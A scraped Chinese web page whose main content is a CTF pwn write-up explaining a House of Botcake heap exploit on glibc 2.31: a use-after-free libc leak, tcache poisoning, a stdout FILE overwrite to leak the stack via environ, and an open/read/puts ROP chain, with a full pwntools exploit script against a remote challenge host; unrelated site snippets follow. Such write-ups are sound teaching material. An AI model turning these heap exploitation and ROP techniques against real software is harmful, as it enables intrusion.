中堂东莞网站建设杭州市建设工程交易中心

张小明 2026/1/9 9:03:53
中堂东莞网站建设,杭州市建设工程交易中心,数据分析师报名入口,it互联网培训机构排名House of botcake 难死我了#xff01;IDA分析main函数有一次UAF的机会来泄露libc 也只有一次机会打印出libc刚好分配到unsored bin来泄露依旧全保护根据程序写出自动化脚本 from pwn import *libdir /home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64 ld libdir /l…House of botcake难死我了IDA分析main函数有一次UAF的机会来泄露libc也只有一次机会打印出libc刚好分配到unsored bin来泄露依旧全保护根据程序写出自动化脚本frompwnimport*libdir/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64ldlibdir/ld-2.31.so# 动态链接器路径vn_path./pwn# 可执行文件路径已用 xclibc 处理过的副本# 使用目标 glibc 的 ld 启动程序不要使用 LD_PRELOAD 整个 libcpprocess([ld,--library-path,libdir,vn_path])#p remote(node5.buuoj.cn,28244)elfELF(vn_path)libcELF(libdir/libc-2.31.so)defdebug():gdb.attach(p)pause()defadd(size,content):p.sendlineafter(bChoice: ,b1)p.sendlineafter(bPlease input size: ,str(size))p.sendlineafter(bPlease input content: ,content)defdelete(index):p.sendlineafter(bChoice: ,b2)p.sendlineafter(bPlease input idx: ,str(index))defshow(index):p.sendlineafter(bChoice: ,b3)p.sendlineafter(bPlease input idx: ,str(index))defbackdoor(index):p.sendlineafter(bChoice: ,b666)p.sendlineafter(bPlease input idx: ,str(index))add一个看看写得对不对add(0x20,ba)okok第一步是泄露libc地址依旧填满tcache[0x90]然后利用uaf然后show出来地址算出libc_baseforiinrange(9):add(0x80,baaaa)#0-8add(0x10,bbbbb)#aviod be mergeforiinrange(7):delete(i)接下来用backdoor然后接收地址backdoor(8)show(8)leaku64(p.recvuntil(b\x7f,dropFalse)[-6:].ljust(8,b\x00))log.info(leak:hex(leak))这里会检查free_hook和malloc_hook是否被劫持也禁用了execve我们先进行tcache poisoning 这也是我们现在唯一能做的#poisoningdelete(7)可以看到两个0x90的chunk合并成了0x121现在从tcache里面申请出一个chunk准备double free chunk8add(0x80,bcccc)#0然后去造成堆重叠现在就是堆重叠了我们可以能让 malloc() 返回到任意地址现在覆盖hook不行那么常规思路就是去搞environ怎么去泄露environ呢我们已经没有程序提供输出的东西了这时候就是_IO_2_1_stdout_结构体。需要一个“把任意写转换成任意读/信息泄露”的中间媒介。glibc 里最合适的媒介之一就是 stdio 的 FILE程序必然会输出菜单、Done、Error意味着 stdout 的内部函数一定会被频繁调用puts/printf/write/fflush 等stdout 对应的 IO_2_1_stdout 是 libc 里的一个全局对象地址 libc_base 常量偏移你已经通过 unsorted 得到了 libc_base因此能定位 stdout 的精确地址FILE 结构里有大量指针字段控制“缓冲区在哪、指针走到哪、可读/可写范围是多少”如果你把这些指针改到你想泄露的地址例如 environlibc 可能会把那块内存当作“要输出的缓冲区内容”吐给你stdout 是一个 struct _IO_FILE_plusFILE vtable 指针的大对象_flags第一个 8 字节一般是 _flags低位包含状态位正常 stdout 里这是一个“看起来像随机”的值但它代表了是否读/写是否 error/eof缓冲模式各种内部状态FILE 里有一组典型字段命名随版本略有变化_IO_read_base_IO_read_ptr_IO_read_end_IO_write_base_IO_write_ptr_IO_write_end_IO_buf_base_IO_buf_end这些字段决定了读模式时从哪里读、读到哪写模式时哪些数据算“待输出”、输出上限是多少缓冲区到底在哪一段内存stdout 正常情况下这些指针通常指向 libc 为 stdout 分配/管理的缓冲区有的情况下是 NULL 表示未分配或无缓冲。fileno / lock / vtablestdout 的 fileno 通常是 1还有 _lock 指针、以及结尾的 vtable 指针指向 libc 内部的 _IO_file_jumps 等。stdout 泄露的核心原理控制“libc 输出时读的缓冲区范围用 _flags 0xfbad1800 把 FILE 强行切到一种“异常/读写混乱但可触发输出”的状态这是很多题里验证过的“好用的 flags 组合”不要求你完全记住每一位含义但要知道它在 IO 代码路径里会让 libc 进入某种可泄露分支。把某些指针字段常见是 read/write/buf 指针设置为base addrptr/end addr8或相近当 libc 下一次对 stdout 做某种输出/刷新时它会认为“缓冲区里有一段待处理的数据”而那段数据的地址范围正是你指定的 [addr, addr8)于是 stdout 就会把那 8 字节原封不动地写到网络/终端输出中。你再用 recvuntil(b’\x7f’) 截到地址尾部就拿到了内存泄露。为什么选择泄 environ——stdout 泄露需要一个“你已知地址”的目标stdout 泄露的前提是你要给它一个 addr也就是“你想读哪里的 8 字节”。但你想最终得到的是栈地址而栈地址本身是 ASLR 随机的你不知道它具体是多少所以不能直接让 stdout 读“某个栈地址”。因此需要一个“地址你知道但里面存的是栈地址”的对象。environ 完全满足你已经有 libc_baseenviron libc_base libc.sym[‘environ’] 是确定的*(environ) 是栈地址argv/envp 在栈上所以让 stdout 泄露 *(environ) 非常自然stdout leak 只能读“你能定位的地址”而 environ 恰好是你能定位且能导出栈地址的指针。stoutlibc_baselibc.sym[_IO_2_1_stdout_]environlibc_baselibc.sym[environ]tcache poisoning能改 next当可以对“已 free 的 chunk8”写入其用户区前 8 字节tcache next 指针位置就能把它的 next 指到任意地址*(chunk8_user)target然后 malloc(sz) 就会返回 target因为程序没有 edit / 不能直接对 free chunk 写所以用 chunk overlap2 覆盖 3 这种方式间接把“free chunk 的 next”改成 IO_stdout。在 glibc 2.31 的 tcache 中chunk free 后它的 用户区起始 8 字节被用作 tcache_entry-next单链表指针所以 “tcache poisoning” 需要你能做到//free(chunk3);*(uint64_t*)chunk3_usertarget;//target_IO_2_1_stdout_你这题没有 edit所以你必须想办法让某一次 add 的 read 写到 chunk3_user[0:8]。payloadp64(0)p64(0x91)p64(stout)add(0x70,baaaa)# idx1add(0x70,payload)# idx2 (payload里带 0x91 和 IO_stdout)再从tcache里面申请一个chunk来覆写fdadd(0x80,bbbbbb)# idx3 (注释2和3地址差0x10所以2可覆盖3)payload2p64(0xfbad1800)#flagpayload2p64(0)#_IO_read_ptrpayload2p64(0)#_IO_read_endpayload2p64(0)#_IO_read_basepayload2p64(environ)#_IO_write_basepayload2p64(environ8)#_IO_write_ptrpayload2p64(environ8)#_IO_write_endadd(0x80,payload2)stdout 的写缓冲区区间是 [write_base, write_ptr)也就是 [environ, environ8)长度正好 8 字节。当 stdout 被刷新/溢出处理时会把这 8 字节写到真实 fd1 输出。现在去接收这个地址现在拿到的 stack其实是 *(environ) 的值我们接下来怎么办呢打ORW也就是执行层我们现在的都是数据层,我们要执行open(“./flag”, 0)read(fd, buf, 0x40)write(1, buf, 0x40) 或 puts(buf)也就是说你要能控制 CPU 的 RIP 走你想走的 gadget/函数。否则你只是“能写内存”并不会自动打印 flag。常见控制流入口有A. Hook / 函数指针__free_hook、vtable、回调指针优点不需要栈地址有时缺点本题约束多、触发点不一定稳定而且你选择 ORW 通常要一串 ROPhook 触发往往只能做一次函数调用后续还得二次控制流B. GOT 劫持受 RELRO 影响Full RELRO 不行且你还是需要让程序“恰好调用到被你劫持的函数”不一定方便C. 覆盖返回地址saved RIP优点几乎所有程序都必然返回尤其 Add 函数每次执行完都会 ret 回主循环你可以把返回地址改成 pop rdi; ret 等 gadget直接进入 ROP 链这是最标准、最通用的“从写内存到拿 shell/拿 flag”的转化点A已经被ban了受 RELRO 影响GOT也不行那就只能选CAddsub_138A非常适合当入口它每次都会从 main 调用然后返回到主菜单循环可以通过 tcache poisoning 把一次 malloc 的返回地址指向 Add 的栈帧附近让 read 把数据写进栈当 Add 执行到结尾 leave; ret 时CPU 就会从你覆盖的返回地址跳走在 x86-64 上leave 等价于mov rsp, rbppop rbpret 等价于pop rip从 [rsp] 取 8 字节作为下一条指令地址栈高地址[局部变量...][saved RBP]--leave 会 pop 走[saved RIP]--ret 会跳到这里你要覆盖的就是它 栈低地址控制 RIP → 跳到 pop rdi; ret在栈上按顺序放好参数 函数地址openreadwrite/puts每执行一个 retRIP 都被更新为栈上的下一个 gadget/函数地址寄存器被设置成你希望的值最终完成文件读取并输出 flag。现在我们来测这个值跟我们泄露值的偏移delta0x7fffffffdfa0-0x7fffffffded80xC8然后我们进行第二次tcache poisoning把 malloc 目标打到栈上最终做到有一次 malloc 返回 attacker这样你能写它的 tcache next在下一次 malloc 返回 target栈上的 ret_slotdelete(2)但是我这里程序崩溃了我感觉是我打的补丁的版本和题目还是有差异现在直接用题目的先把偏移改一改破案不是补丁什么的而是p.sendlineafter(bPlease input content: ,content)多输入一个字符越界了。。。stack新偏移0x128再继续tcache poisoningdelete(3)delete(2)payload3p64(0)p64(0x91)p64(stack)add(0x70,payload3)#2add(0x80,bdddd)#3接下来直接打ORW就行read_addrlibc_baselibc.sym[read]open_addrlibc_baselibc.sym[open]write_addrlibc_baselibc.sym[write]pop_rdilibc_base0x0000000000023b6apop_rsilibc_base0x000000000002601fpop_rdxlibc_base0x0000000000142c92flag_addrstack_addr set_addrstack_addr0x200p4b./flag\x00\x00# open(./flag, 0)p4p64(pop_rdi)p64(flag_addr)p64(pop_rsi)p64(0)p64(open_addr)# read(3, set_addr, 0x50)p4p64(pop_rdi)p64(3)p64(pop_rsi)p64(set_addr)p64(pop_rdx)p64(0x50)p64(read_addr)# puts(set_addr)puts_addrlibc_baselibc.sym[puts]p4p64(pop_rdi)p64(set_addr)p64(puts_addr)add(0x80,p4)EXPfrompwnimport*context.clear(archamd64,oslinux)context.binary./pwnbinpath./pwnld./ld.solibc_path./libc.so.6#p process([ld, --library-path, ., binpath])premote(node4.anna.nssctf.cn,28207)elfELF(binpath)libcELF(libc_path)defdebug():gdb.attach(p)pause()defadd(size,content):p.sendlineafter(bChoice: ,b1)p.sendlineafter(bPlease input size: ,str(size))p.sendafter(bPlease input content: ,content)defdelete(index):p.sendlineafter(bChoice: ,b2)p.sendlineafter(bPlease input idx: ,str(index))defshow(index):p.sendlineafter(bChoice: ,b3)p.sendlineafter(bPlease input idx: ,str(index))defbackdoor(index):p.sendlineafter(bChoice: ,b666)p.sendlineafter(bPlease input idx: ,str(index))foriinrange(9):add(0x80,baaaa)#0-8add(0x10,bbbbb)#aviod be mergeforiinrange(7):delete(i)#0-6backdoor(8)show(8)leaku64(p.recvuntil(b\x7f,dropFalse)[-6:].ljust(8,b\x00))log.info(leak:hex(leak))offset0x1ecbe0libc_baseleak-offset log.info(libc_base:hex(libc_base))#debug()#poisoningdelete(7)add(0x80,bcccc)#0delete(8)stoutlibc_baselibc.sym[_IO_2_1_stdout_]environlibc_baselibc.sym[environ]payloadp64(0)p64(0x91)p64(stout)add(0x70,baaaa)# idx1add(0x70,payload)# idx2 (payload里带 0x91 和 IO_stdout)add(0x80,bbbbbb)# idx3 (注释2和3地址差0x10所以2可覆盖3)payload2p64(0xfbad1800)#flagpayload2p64(0)#_IO_read_ptrpayload2p64(0)#_IO_read_endpayload2p64(0)#_IO_read_basepayload2p64(environ)#_IO_write_basepayload2p64(environ8)#_IO_write_ptrpayload2p64(environ8)#_IO_write_endadd(0x80,payload2)#4environu64(p.recvuntil(b\x7f,dropFalse)[-6:].ljust(8,b\x00))log.info(stack:hex(environ))#debug()offset20x128stack_addrenviron-offset2 delete(3)delete(2)payload3p64(0)p64(0x91)p64(stack_addr)add(0x70,payload3)#2add(0x80,bdddd)#3read_addrlibc_baselibc.sym[read]open_addrlibc_baselibc.sym[open]write_addrlibc_baselibc.sym[write]read_addrlibc_baselibc.sym[read]open_addrlibc_baselibc.sym[open]write_addrlibc_baselibc.sym[write]pop_rdilibc_base0x0000000000023b6apop_rsilibc_base0x000000000002601fpop_rdx0x0000000000142c92libc_base flag_addrstack_addr set_addrstack_addr0x200p4b./flag\x00\x00# open(./flag, 0)p4p64(pop_rdi)p64(flag_addr)p64(pop_rsi)p64(0)p64(open_addr)# read(3, ppp, 0x50)p4p64(pop_rdi)p64(3)p64(pop_rsi)p64(set_addr)p64(pop_rdx)p64(0x50)p64(read_addr)# puts(set_addr )puts_addrlibc_baselibc.sym[puts]p4p64(pop_rdi)p64(set_addr)p64(puts_addr)add(0x80,p4)#debug()p.interactive()
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

如何在外管局网站上做a合同安徽建设厅官网

如何选择最适合的AI动画工具?完整实战指南 【免费下载链接】awesome-ai-painting AI绘画资料合集(包含国内外可使用平台、使用教程、参数教程、部署教程、业界新闻等等) stable diffusion tutorial、disco diffusion tutorial、 AI Platform …

张小明 2026/1/7 19:04:36 网站建设

平台类网站费用网站开发实战asp制作视频教程

PyTorch-CUDA-v2.7镜像pip源更换教程:提升包安装速度 在深度学习项目开发中,一个常见的痛点是:明明已经用上了带 GPU 的 PyTorch 镜像,训练跑得飞快,但一到 pip install 第三方库时却卡得动弹不得——下载速度几十 KB/…

张小明 2026/1/7 18:57:48 网站建设

电商网站服务器空间怎么在网站中做视频背景

AdisInsight是由Springer Nature集团旗下Adis出版社开发一款研发信息数据库,AdisInsight药物研发信息数据库包含关于药物开发、临床试验、药物不良反应事件、交易和专利的信息,其搜索范围涵盖数千种期刊、会议论文集、公司网站和其他已发表的资料&#x…

张小明 2026/1/6 19:18:35 网站建设

厚街做网站行业类门户网站建设方案

还在为无法离线收听TIDAL高品质音乐而烦恼吗?tidal-dl-ng正是你需要的解决方案!这款专为TIDAL平台设计的下载工具,让你轻松拥有最高可达24-bit/192kHz的HiRes无损音频,从此告别网络限制,随时随地享受录音室级别的音质体…

张小明 2026/1/7 19:03:55 网站建设

wordpress 小工具 开发广东seo网站优化公司

在数字资源日益丰富的今天,百度网盘作为国内最大的文件分享平台,其下载速度限制却成为无数用户的痛点。本文为您揭秘一款能够直接解析百度网盘分享链接、提取真实下载地址的开源工具,帮助您实现全速下载体验。 【免费下载链接】baidu-wangpan…

张小明 2026/1/7 18:57:47 网站建设